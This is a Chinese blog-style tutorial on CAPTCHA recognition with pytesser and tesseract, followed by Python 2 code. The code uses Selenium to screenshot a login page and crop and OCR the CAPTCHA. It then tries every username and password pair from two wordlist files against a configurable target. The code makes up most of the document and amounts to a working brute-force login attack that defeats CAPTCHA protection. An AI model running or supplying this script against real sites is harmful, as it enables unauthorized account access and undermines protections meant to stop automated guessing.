Pytesser
pytesser是谷歌OCR开源项目的一个模块,在python中导入这个模块即可将图片中的文字转换成文本。pytesser 调用了 tesseract。在python中调用pytesser模块,pytesser又用tesseract识别图片中的文字。
验证码识别思路:
· 图片降噪
· 图片切割
· 图像文本处理
实验环境
操作系统:Windows 7(64位)
编程语言:Python2.7
主要依赖:Selenium、PIL、Pytesser
实现原理:
1、模拟用户操作,打开登陆页面并截取验证码图片;
2、利用pytesser对图片进行分析并得到分析后的验证码字符;
3、自动填充用户名口令并进行登陆操作。
总结:
利用pytesser识别验证码的时候,对于无干扰不复杂的验证码识别率在%65左右,但是对于有字符干扰复杂的验证码识别效果并不理想,所以要让识别率提高可以使用机器学习技术,后面会分享。
代码展示:
# coding=utf-8
from config import *
from selenium import webdriver
from selenium.common.exceptions import NoSuchElementException
from PIL import Image, ImageEnhance
import sys
import time
import pytesser
from Queue import Queue
import threading
reload(sys)
class run_regcode(threading.Thread):
def __init__(self, user, pwd, queue):
threading.Thread.__init__(self)
self.user = user
self.pwd = pwd
self.data = queue
def run(self):
PostUrl = dst_url
driver = webdriver.Chrome()
driver.implicitly_wait(10)
driver.maximize_window()
driver.get(PostUrl)
driver.get_screenshot_as_file('D:\\picture\\login.png')
im = Image.open('D:\\picture\\login.png')
box = (boxa[0], boxa[1], boxa[2], boxa[3])
region = im.crop(box)
region.save("D:\\picture\\yzm.png")
bm = Image.open("D:\\picture\yzm.png")
imgry = bm.convert('L')
sharpness = ImageEnhance.Contrast(imgry)
sharp_img = sharpness.enhance(2.0)
sharp_img.save("D:\\picture\yzm.png")
code = pytesser.image_file_to_string("D:\\picture\yzm.png")
if ' ' in code:
code = code.replace(' ', '')
else:
code = code
elem_user = driver.find_element_by_name(username)
elem_psw = driver.find_element_by_name(password)
elem_code = driver.find_element_by_name(verify)
time.sleep(2)
elem_user.clear()
elem_user.send_keys(self.user)
elem_psw.clear()
elem_psw.send_keys(self.pwd)
elem_code.clear()
elem_code.send_keys(code)
try:
driver.find_element_by_xpath(xpath).click()
except NoSuchElementException as e:
print(e)
finally:
time.sleep(1)
print('[+] ' + time.ctime())
print('[+] ' + str(code).replace('\n',''))
print('[+] ' + driver.title)
print('[+] ' + self.user)
print('[+] ' + self.pwd)
print('---------------------------------')
driver.close()
driver.quit()
def main():
queue = Queue()
users = open('./topname.txt').readlines()
pwds = open('./passwords.txt').readlines()
for user in users:
for pwd in pwds:
user = user.replace('\n', '')
pwd = pwd.replace('\n', '')
run = run_regcode(user, pwd, queue)
run.start()
run.join()
if __name__ == '__main__':
main()